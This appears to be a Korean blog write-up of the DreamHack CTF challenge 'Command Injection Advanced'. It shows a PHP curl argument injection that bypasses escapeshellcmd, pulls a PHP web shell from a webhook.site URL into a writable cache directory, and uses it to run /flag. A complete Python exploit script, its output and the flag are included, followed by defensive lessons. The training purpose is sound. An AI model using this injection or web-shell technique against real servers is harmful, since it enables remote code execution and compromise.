[๐Ÿฅ‰ Bronze 2] escapeshellcmd๊ฐ€ ์•ˆ ๋ง‰๋Š” ๊ณต๋ฐฑ โ€” curl ์ธ์ž ์ฃผ์ž…์œผ๋กœ ์›น์…ธ RCE โ€” DreamHack Command Injection Advanced ํ’€์ด

2026-06-04ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅ‰ Bronze 2] escapeshellcmd๊ฐ€ ์•ˆ ๋ง‰๋Š” ๊ณต๋ฐฑ โ€” curl ์ธ์ž ์ฃผ์ž…์œผ๋กœ ์›น์…ธ RCE โ€” DreamHack Command Injection Advanced ํ’€์ด

escapeshellcmd๋Š” ์…ธ ๋ฉ”ํƒ€๋ฌธ์ž๋Š” ๋ง‰์ง€๋งŒ ๊ณต๋ฐฑ๊ณผ ํ•˜์ดํ”ˆ์€ ๊ทธ๋Œ€๋กœ ๋‘”๋‹ค. curl ๋ช…๋ น์— -o ์ธ์ž๋ฅผ ๋ผ์›Œ ๋„ฃ์–ด PHP ์›น์…ธ์„ ์›น๋ฃจํŠธ cache/์— ๋–จ๊ตฐ ๋’ค, ๊ทธ ์›น์…ธ๋กœ ์‹คํ–‰์ „์šฉ ๋ฐ”์ด๋„ˆ๋ฆฌ /flag๋ฅผ ๋Œ๋ ค ํ”Œ๋ž˜๊ทธ๋ฅผ ์–ป์€ ๊ณผ์ •์„ ์ •๋ฆฌํ–ˆ๋‹ค.

๋ฌธ์ œ: DreamHack โ€” Command Injection Advanced ๋ถ„๋ฅ˜: Web ๋‚œ์ด๋„: ๐Ÿฅ‰ Bronze 2 FLAG: DH{8ca5256a49452e4db9de7691a9c69b7678271383}


๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…Command Injection Advanced
๋‚œ์ด๋„๐Ÿฅ‰ Bronze 2
๋ถ„๋ฅ˜Web (PHP + Apache)
์ œ๊ณต ํŒŒ์ผ / ์„œ๋ฒ„index.php, flag.c, Dockerfile / http://<instance-host>:<port>/ (์ธ์Šคํ„ด์Šค๋งˆ๋‹ค ๋ณ€๊ฒฝ)
ํ•ต์‹ฌ ์ทจ์•ฝ์  / ๊ธฐ๋ฒ•escapeshellcmd ๊ณต๋ฐฑ ๋ฏธ์ฐจ๋‹จ โ†’ curl ์ธ์ž ์ฃผ์ž… โ†’ ์›น์…ธ RCE

์ž…๋ ฅํ•œ URL์„ ์„œ๋ฒ„๊ฐ€ curl๋กœ ๊ฐ€์ ธ์™€ ๋ณด์—ฌ์ฃผ๋Š” "Online Curl Request" ์„œ๋น„์Šค๋‹ค. ์ž…๋ ฅ์€ escapeshellcmd๋กœ ํ•œ ๋ฒˆ ๊ฑธ๋Ÿฌ์ง„๋‹ค. ์„ธ๋ฏธ์ฝœ๋ก ์ด๋‚˜ ํŒŒ์ดํ”„๋กœ ์ƒˆ ๋ช…๋ น์„ ๋ถ™์ด๋Š” ํ‰๋ฒ”ํ•œ ์ปค๋งจ๋“œ ์ธ์ ์…˜์€ ๋ง‰ํžŒ๋‹ค. ๊ทธ๋ž˜์„œ Advanced๋‹ค.

๋ฉ”์ธ โ€” Online Curl Request ํผ
๋ฉ”์ธ โ€” Online Curl Request ํผ



๐Ÿ”ฌ ๋ถ„์„ โ€” ๋ง‰์€ ๊ฒƒ๊ณผ ์•ˆ ๋ง‰์€ ๊ฒƒ

index.php์˜ ํ•ต์‹ฌ์€ ์ด ๋ช‡ ์ค„์ด๋‹ค.

if(isset($_GET['url'])){
    $url = $_GET['url'];
    if(strpos($url, 'http') !== 0 ){
        die('http only !');                              // url ์€ "http" ๋กœ ์‹œ์ž‘ํ•ด์•ผ ํ•จ
    }else{
        $result = shell_exec('curl '. escapeshellcmd($_GET['url']));
        $cache_file = './cache/'.md5($url);
        file_put_contents($cache_file, $result);          // ๊ฒฐ๊ณผ๋ฅผ cache ์— ์ €์žฅ
        echo "<p>cache file: <a href='{$cache_file}'>{$cache_file}</a></p>";
        echo '<pre>'. htmlentities($result) .'</pre>';
    }
}

escapeshellcmd๋Š” ์…ธ ๋ฉ”ํƒ€๋ฌธ์ž(;, |, &, $, ๋ฐฑํ‹ฑ, (), <> ๋“ฑ)๋ฅผ ๋ฐฑ์Šฌ๋ž˜์‹œ๋กœ ๋ง‰๋Š”๋‹ค. ๊ทธ๋ž˜์„œ curl http://x; cat /flag ๊ฐ™์€ ๋ช…๋ น ๋ถ„๋ฆฌ๋Š” ํ†ตํ•˜์ง€ ์•Š๋Š”๋‹ค.

๊ทธ๋Ÿฐ๋ฐ ์ด ํ•จ์ˆ˜๊ฐ€ ๊ฑด๋“œ๋ฆฌ์ง€ ์•Š๋Š” ๋ฌธ์ž๊ฐ€ ์žˆ๋‹ค. ๊ณต๋ฐฑ, ํ•˜์ดํ”ˆ(-), ์Šฌ๋ž˜์‹œ(/), ์ (.)์ด๋‹ค. ์ƒˆ ๋ช…๋ น์„ ๋ชป ๋ถ™์—ฌ๋„, ๊ณต๋ฐฑ์œผ๋กœ ๋‹จ์–ด๋ฅผ ๋‚˜๋ˆ„๋ฉด curl์— ์ธ์ž๋ฅผ ๋” ๋„˜๊ธธ ์ˆ˜ ์žˆ๋‹ค. curl <url> -o <path> ์ฒ˜๋Ÿผ.

flag.c๋ฅผ ๋ณด๋ฉด ํ”Œ๋ž˜๊ทธ๋ฅผ ๊ทธ๋ƒฅ ์ฝ์„ ์ˆ˜๋Š” ์—†๋‹ค.

void main(){ puts("DH{**flag**}\n"); }

Dockerfile์—์„œ ์ด๊ฑธ ์ปดํŒŒ์ผํ•ด /flag ๋ฐ”์ด๋„ˆ๋ฆฌ๋กœ ๋งŒ๋“ค๊ณ  chmod 111์„ ์ค€๋‹ค. ์‹คํ–‰ ๊ถŒํ•œ๋งŒ ์žˆ๊ณ  ์ฝ๊ธฐ ๊ถŒํ•œ์ด ์—†๋‹ค. ๊ทธ๋Ÿฌ๋‹ˆ ํŒŒ์ผ์„ cat ํ•˜๋Š” ๊ฒŒ ์•„๋‹ˆ๋ผ ์‹คํ–‰ํ•ด์•ผ ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋‚˜์˜จ๋‹ค. ๋‹จ์ˆœ ํŒŒ์ผ ์ฝ๊ธฐ๋กœ๋Š” ์•ˆ ๋˜๊ณ  ๋ช…๋ น ์‹คํ–‰(RCE)์ด ํ•„์š”ํ•˜๋‹ค.

curl ์ž์ฒด๋Š” ํ”„๋กœ๊ทธ๋žจ์„ ์‹คํ–‰ํ•˜์ง€ ๋ชปํ•œ๋‹ค. ๋Œ€์‹  cache/ ๋””๋ ‰ํ„ฐ๋ฆฌ๊ฐ€ chmod 777์— ์›น๋ฃจํŠธ ์•„๋ž˜๋ผ๋Š” ์ ์„ ์“ด๋‹ค. curl์˜ -o๋กœ PHP ์›น์…ธ์„ ๊ฑฐ๊ธฐ์— .php๋กœ ๋–จ๊ตฌ๋ฉด, ๊ทธ ์›น์…ธ์ด PHP๋กœ ์‹คํ–‰๋˜๋ฉด์„œ /flag๋ฅผ ๋Œ๋ ค์ค€๋‹ค.

curl์ด ์™ธ๋ถ€ URL์„ ๊ฐ€์ ธ์™€ ๊ฒฐ๊ณผ๋ฅผ ๊ทธ๋Œ€๋กœ ๋ฐ˜์‚ฌยท์บ์‹œํ•œ๋‹ค๋Š” ๊ฒƒ๋ถ€ํ„ฐ ํ™•์ธ๋œ๋‹ค.

?url=https://webhook... โ€” curl์ด ๊ฐ€์ ธ์˜จ ์™ธ๋ถ€ ์‘๋‹ต์ด ๊ทธ๋Œ€๋กœ cache ์ €์žฅ + ๋ฐ˜์‚ฌ
?url=https://webhook... โ€” curl์ด ๊ฐ€์ ธ์˜จ ์™ธ๋ถ€ ์‘๋‹ต์ด ๊ทธ๋Œ€๋กœ cache ์ €์žฅ + ๋ฐ˜์‚ฌ

๊ณต๊ฒฉ ํ๋ฆ„ โ€” curl -o ์›น์…ธ ๋“œ๋กญ โ†’ RCE โ†’ /flag ์‹คํ–‰
๊ณต๊ฒฉ ํ๋ฆ„ โ€” curl -o ์›น์…ธ ๋“œ๋กญ โ†’ RCE โ†’ /flag ์‹คํ–‰


๐Ÿ’ฃ ํ•ต์‹ฌ โ€” curl -o๋กœ ์›น์…ธ์„ cache์— ๋–จ๊ตฐ๋‹ค

๋จผ์ € ์™ธ๋ถ€์— PHP ์›น์…ธ์„ ์‘๋‹ตํ•˜๋Š” endpoint๋ฅผ ํ•˜๋‚˜ ๋‘”๋‹ค. webhook.site์˜ ๊ธฐ๋ณธ ์‘๋‹ต์„ <?php system($_GET['cmd']); ?>๋กœ ์„ค์ •ํ•ด ๋‘๋ฉด, ๊ทธ URL์„ GETํ•  ๋•Œ๋งˆ๋‹ค ์ด ์ฝ”๋“œ๊ฐ€ ๊ทธ๋Œ€๋กœ ๋‚ด๋ ค์˜จ๋‹ค.

์ด์ œ url ํŒŒ๋ผ๋ฏธํ„ฐ์— webhook ์ฃผ์†Œ๋ฅผ ๋„ฃ๊ณ , ๊ณต๋ฐฑ์œผ๋กœ -o์™€ ์ €์žฅ ๊ฒฝ๋กœ๋ฅผ ์ด์–ด ๋ถ™์ธ๋‹ค.

?url=https://webhook.site/<uuid> -o /var/www/html/cache/s.php

escapeshellcmd๋ฅผ ๊ฑฐ์ณ๋„ ๊ณต๋ฐฑยท-ยท/ยท.๋Š” ์‚ด์•„๋‚จ์œผ๋ฏ€๋กœ, ์„œ๋ฒ„์—์„œ ์‹ค์ œ ์‹คํ–‰๋˜๋Š” ๋ช…๋ น์€ ์ด๋ ‡๊ฒŒ ๋œ๋‹ค.

curl https://webhook.site/<uuid> -o /var/www/html/cache/s.php

curl์ด webhook์˜ ์‘๋‹ต(์šฐ๋ฆฌ PHP ์›น์…ธ)์„ ๋ฐ›์•„ cache/s.php์— ๊ทธ๋Œ€๋กœ ์“ด๋‹ค. .php ํ™•์žฅ์ž๋ผ Apache๊ฐ€ PHP๋กœ ์‹คํ–‰ํ•ด์ค€๋‹ค. RCE๊ฐ€ ์ƒ๊ธด ๊ฒƒ์ด๋‹ค.

GET /cache/s.php?cmd=id   โ†’   uid=33(www-data) gid=33(www-data) ...

/cache/s.php?cmd=id โ€” www-data ๊ถŒํ•œ์œผ๋กœ RCE ์„ฑ๋ฆฝ
/cache/s.php?cmd=id โ€” www-data ๊ถŒํ•œ์œผ๋กœ RCE ์„ฑ๋ฆฝ

๋‚จ์€ ๊ฑด /flag๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ๋ฟ์ด๋‹ค. ์ฝ๊ธฐ๋Š” ๋ง‰ํ˜€ ์žˆ์–ด๋„ ์‹คํ–‰์€ ๋˜๋‹ˆ, cmd=/flag๋กœ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋Œ๋ฆฌ๋ฉด ์ถœ๋ ฅ์ด ๊ทธ๋Œ€๋กœ ์‘๋‹ต์— ๋‹ด๊ธด๋‹ค.

/cache/s.php?cmd=/flag โ€” ์‹คํ–‰์ „์šฉ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋Œ๋ ค ํ”Œ๋ž˜๊ทธ ํš๋“
/cache/s.php?cmd=/flag โ€” ์‹คํ–‰์ „์šฉ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋Œ๋ ค ํ”Œ๋ž˜๊ทธ ํš๋“



๐Ÿš€ Full Exploit

์›น์…ธ ๋“œ๋กญ โ†’ RCE ํ™•์ธ โ†’ /flag ์‹คํ–‰์„ ํ•œ ๋ฒˆ์— ๋ฌถ์€ ์†”๋ฒ„๋‹ค.

#!/usr/bin/env python3
import re, requests
 
BASE = "http://host3.dreamhack.games:15173"
SHELL_SRC = "https://webhook.site/<uuid>"      # ๊ธฐ๋ณธ ์‘๋‹ต: <?php system($_GET['cmd']); ?>
SHELL_PATH = "/var/www/html/cache/s.php"
 
# 1) curl ์ธ์ž ์ฃผ์ž… โ€” url ๋’ค์— ๊ณต๋ฐฑ+`-o <๊ฒฝ๋กœ>` ๋กœ ์›น์…ธ์„ cache/s.php ์— ์ €์žฅ
inject = f"{SHELL_SRC} -o {SHELL_PATH}"
requests.get(f"{BASE}/", params={"url": inject}, timeout=20)
 
# 2) ๋–จ๊ตฐ ์›น์…ธ๋กœ RCE ํ™•์ธ
r = requests.get(f"{BASE}/cache/s.php", params={"cmd": "id"}, timeout=20)
print("[*] id:", r.text.strip())
 
# 3) ์‹คํ–‰์ „์šฉ ๋ฐ”์ด๋„ˆ๋ฆฌ /flag ์‹คํ–‰ โ†’ ํ”Œ๋ž˜๊ทธ
r = requests.get(f"{BASE}/cache/s.php", params={"cmd": "/flag"}, timeout=20)
print("[+] FLAG:", re.search(r"DH\{[^}]*\}", r.text).group(0))
[*] ์›น์…ธ ๋“œ๋กญ ์š”์ฒญ -> HTTP 200
[*] RCE ํ™•์ธ (id): uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] /flag ์ถœ๋ ฅ: 'DH{8ca5256a49452e4db9de7691a9c69b7678271383}'
 
[+] FLAG: DH{8ca5256a49452e4db9de7691a9c69b7678271383}

solve.py ์‹คํ–‰ โ€” ์›น์…ธ ๋“œ๋กญ ํ›„ RCE๋กœ /flag ์‹คํ–‰
solve.py ์‹คํ–‰ โ€” ์›น์…ธ ๋“œ๋กญ ํ›„ RCE๋กœ /flag ์‹คํ–‰

DH{8ca5256a49452e4db9de7691a9c69b7678271383}


๐Ÿ“ ์ •๋ฆฌ

escapeshellcmd๋Š” ๋ช…๋ น ๋ถ„๋ฆฌ๋งŒ ๋ง‰๋Š”๋‹ค.

์ด๋ฆ„ ๋•Œ๋ฌธ์— "์…ธ์„ ์•ˆ์ „ํ•˜๊ฒŒ ๋งŒ๋“ค์–ด์ฃผ๋Š” ํ•จ์ˆ˜"๋กœ ์˜คํ•ดํ•˜๊ธฐ ์‰ฝ๋‹ค. ์‹ค์ œ๋กœ๋Š” ๋ฉ”ํƒ€๋ฌธ์ž๋ฅผ ์ด์Šค์ผ€์ดํ”„ํ•ด ์ƒˆ ๋ช…๋ น์„ ๋ชป ๋ถ™์ด๊ฒŒ ํ•  ๋ฟ, ๊ณต๋ฐฑ์œผ๋กœ ์ธ์ž๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ๊ฒƒ์€ ๊ทธ๋Œ€๋กœ ํ—ˆ์šฉํ•œ๋‹ค. ์ธ์ž ํ•˜๋‚˜๋กœ ๋™์ž‘์ด ์™„์ „ํžˆ ๋‹ฌ๋ผ์ง€๋Š” curlยทtarยทffmpeg ๊ฐ™์€ ๋„๊ตฌ ์•ž์—์„œ๋Š” ์ด ๋ฐฉ์–ด๊ฐ€ ๊ฑฐ์˜ ์˜๋ฏธ๊ฐ€ ์—†๋‹ค. ์ธ์ž๊ฐ€ ๊ณ ์ •๋ผ์•ผ ํ•œ๋‹ค๋ฉด escapeshellarg๋กœ ๊ฐ’์„ ํ†ต์งธ๋กœ ๊ฐ์‹ธ๊ฑฐ๋‚˜, ์• ์ดˆ์— ์…ธ์„ ๊ฑฐ์น˜์ง€ ์•Š๋Š” API๋ฅผ ์จ์•ผ ํ•œ๋‹ค.

์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ์›น๋ฃจํŠธ ๋””๋ ‰ํ„ฐ๋ฆฌ๋Š” RCE๋กœ ๊ฐ€๋Š” ๋‹ค๋ฆฌ๋‹ค.

cache/๊ฐ€ chmod 777์— ์›น๋ฃจํŠธ ์•„๋ž˜ ์žˆ์—ˆ๊ธฐ ๋•Œ๋ฌธ์—, ํŒŒ์ผ ํ•˜๋‚˜ ๋–จ๊ตฌ๋Š” ๊ฒƒ๋งŒ์œผ๋กœ PHP ์‹คํ–‰๊นŒ์ง€ ์ด์–ด์กŒ๋‹ค. ์—…๋กœ๋“œยท์บ์‹œ ๋””๋ ‰ํ„ฐ๋ฆฌ๋Š” ์›น๋ฃจํŠธ ๋ฐ–์— ๋‘๊ฑฐ๋‚˜ ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰์„ ๋ง‰์•„์•ผ ํ•œ๋‹ค.

๋ชป ์ฝ์œผ๋ฉด ์‹คํ–‰ํ•˜๋ฉด ๋œ๋‹ค.

/flag๋Š” ์ฝ๊ธฐ ๊ถŒํ•œ์„ ๋ง‰์•„ cat์„ ๋ฌด๋ ฅํ™”ํ–ˆ์ง€๋งŒ ์‹คํ–‰ ๊ถŒํ•œ์€ ๋‚จ๊ฒจ๋’€๋‹ค. ๊ถŒํ•œ์„ ์กฐ์ผ ๋•Œ๋Š” "์ฝ๊ธฐ๋ฅผ ๋ง‰์•˜์œผ๋‹ˆ ์•ˆ์ „ํ•˜๋‹ค"๊ฐ€ ์•„๋‹ˆ๋ผ, ๊ทธ ํŒŒ์ผ๋กœ ํ•  ์ˆ˜ ์žˆ๋Š” ๋ชจ๋“  ๋™์ž‘์„ ํ•จ๊ป˜ ๋ด์•ผ ํ•œ๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅ‰ Bronze 4] PHP ์ •๊ทœ์‹ 3๊ฒน ๋šซ๊ธฐ โ€” preg_replace ๊ฒน์นจยท์•ŒํŒŒ๋ฒณ ์—†๋Š” ๋น„๋ฒˆยทflag ํ•„ํ„ฐ ์šฐํšŒ RCE โ€” DreamHack phpreg ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 4] PHP ์ •๊ทœ์‹ 3๊ฒน ๋šซ๊ธฐ โ€” preg_replace ๊ฒน์นจยท์•ŒํŒŒ๋ฒณ ์—†๋Š” ๋น„๋ฒˆยทflag ํ•„ํ„ฐ ์šฐํšŒ RCE โ€” DreamHack phpreg ํ’€์ด

PHP์˜ preg_replaceยทpreg_match๋กœ ๋งŒ๋“  ๊ด€๋ฌธ ์„ธ ๊ฐœ๋ฅผ ์ฐจ๋ก€๋กœ ๋šซ๋Š” ๋ฌธ์ œ๋‹ค. ๋‹‰๋„ค์ž„์€ 'nyang'์„ ๊ฒน์น˜๊ฒŒ ๋ผ์›Œ ํ•œ ๋ฒˆ๋งŒ ์ง€์›Œ์ง€๊ฒŒ ๋งŒ๋“ค๊ณ , ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” ์•ŒํŒŒ๋ฒณ ์—†์ด ์น˜ํ™˜ ํŒจํ„ด์„ ๋งž์ถ”๊ณ , ๋งˆ์ง€๋ง‰ cmd๋Š” 'flag' ํ•„ํ„ฐ๋ฅผ ์™€์ผ๋“œ์นด๋“œ๋กœ ์šฐํšŒํ•ด RCE๋กœ flag.txt๋ฅผ ์ฝ์—ˆ๋‹ค.
#dreamhack#ctf#web+5
2026-06-22#dreamhack +5
[๐Ÿฅˆ Silver 4] switch๋Š” ๋А์Šจํ•˜๊ฒŒ ๋น„๊ตํ•œ๋‹ค โ€” DreamHack Switching Command ํ’€์ด
blog

[๐Ÿฅˆ Silver 4] switch๋Š” ๋А์Šจํ•˜๊ฒŒ ๋น„๊ตํ•œ๋‹ค โ€” DreamHack Switching Command ํ’€์ด

PHP์˜ switch๋Š” == ๋กœ ๋น„๊ตํ•œ๋‹ค. ์ž…๋ ฅ์„ boolean true๋กœ ๋ณด๋‚ด๋ฉด ===๋กœ ๋ง‰์•„๋‘” "admin" ๊ฒ€์‚ฌ๋ฅผ ๋น„๊ปด๊ฐ€๋ฉด์„œ switch case "admin"์—๋Š” ๊ฑธ๋ ค๋“ ๋‹ค. ์ธ์ฆ์„ ํ›”์นœ ๋’ค์—” escapeshellcmd๊ฐ€ ์†๋Œ€์ง€ ์•Š๋Š” ๋”ฐ์˜ดํ‘œ๋กœ ๋ช…๋ น ํ•„ํ„ฐ๋ฅผ ๊นจ๊ณ , ์ถœ๋ ฅ์ด ์•ˆ ๋ณด์ด๋Š” blind ํ™˜๊ฒฝ์„ world-writable ์›น๋ฃจํŠธ์— ํŒŒ์ผ์„ ๋–จ๊ถˆ ํšŒ์ˆ˜ํ–ˆ๋‹ค.
#dreamhack#ctf#web+5
2026-06-06#dreamhack +5
[๐Ÿฅ‰ Bronze 1] "IP์ธ์ง€ ๊ฒ€์ฆํ–ˆ๋‹ค"์™€ "์•ˆ์ „ํ•˜๋‹ค"๋Š” ๋‹ค๋ฅธ ๋ง์ด๋‹ค โ€” DreamHack EZ_command_injection ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 1] "IP์ธ์ง€ ๊ฒ€์ฆํ–ˆ๋‹ค"์™€ "์•ˆ์ „ํ•˜๋‹ค"๋Š” ๋‹ค๋ฅธ ๋ง์ด๋‹ค โ€” DreamHack EZ_command_injection ํ’€์ด

ping์„ ๋Œ€์‹  ์‹คํ–‰ํ•ด์ฃผ๋Š” ์›น ์„œ๋น„์Šค. ์„œ๋ฒ„๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ๋„ฃ์€ ๊ฐ’์„ ํŒŒ์ด์ฌ ipaddress.ip_address()๋กœ "์ง„์งœ IP ์ฃผ์†Œ์ธ์ง€" ๊ฒ€์ฆํ•œ ๋‹ค์Œ์—์•ผ ์‰˜ ๋ช…๋ น์— ๋ผ์›Œ ๋„ฃ๋Š”๋‹ค โ€” ์–ผํ• ์•ˆ์ „ํ•ด ๋ณด์ด๋Š” ๋ฐฉ์–ด๋‹ค. ๊ทธ๋Ÿฐ๋ฐ IPv6 ์ฃผ์†Œ ๋’ค์— ๋ถ™๋Š” %์ธํ„ฐํŽ˜์ด์Šค์ด๋ฆ„(scope id) ๋ถ€๋ถ„์€ ๊ทธ ๋‚ด์šฉ์„ ์ „ํ˜€ ๊ฒ€์ฆํ•˜์ง€ ์•Š๊ณ  ๊ทธ๋Œ€๋กœ ๋ณด์กดํ•œ๋‹ค๋Š” ์‚ฌ์‹ค์„ ์•Œ๊ฒŒ ๋˜๋ฉด์„œ, "์œ ํšจํ•œ IP ์ฃผ์†Œ"์ด๋ฉด์„œ ๋™์‹œ์— ์™„์ „ํ•œ ์‰˜ ์ธ์ ์…˜ ํŽ˜์ด๋กœ๋“œ์ธ ๋ฌธ์ž์—ด์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ์—ˆ๋‹ค. ์œ ์ผํ•œ ๊ฑธ๋ฆผ๋Œ์€ ์ ˆ๋Œ€๊ฒฝ๋กœ์— ๋“ค์–ด๊ฐ€๋Š” ์Šฌ๋ž˜์‹œ ํ•˜๋‚˜ โ€” CIDR ํ‘œ๊ธฐ๋ฒ•๊ณผ ํ—ท๊ฐˆ๋ ค ํŒŒ์‹ฑ์ด ๊ฑฐ๋ถ€๋๋‹ค.
#dreamhack#ctf#web+4
2026-07-21#dreamhack +4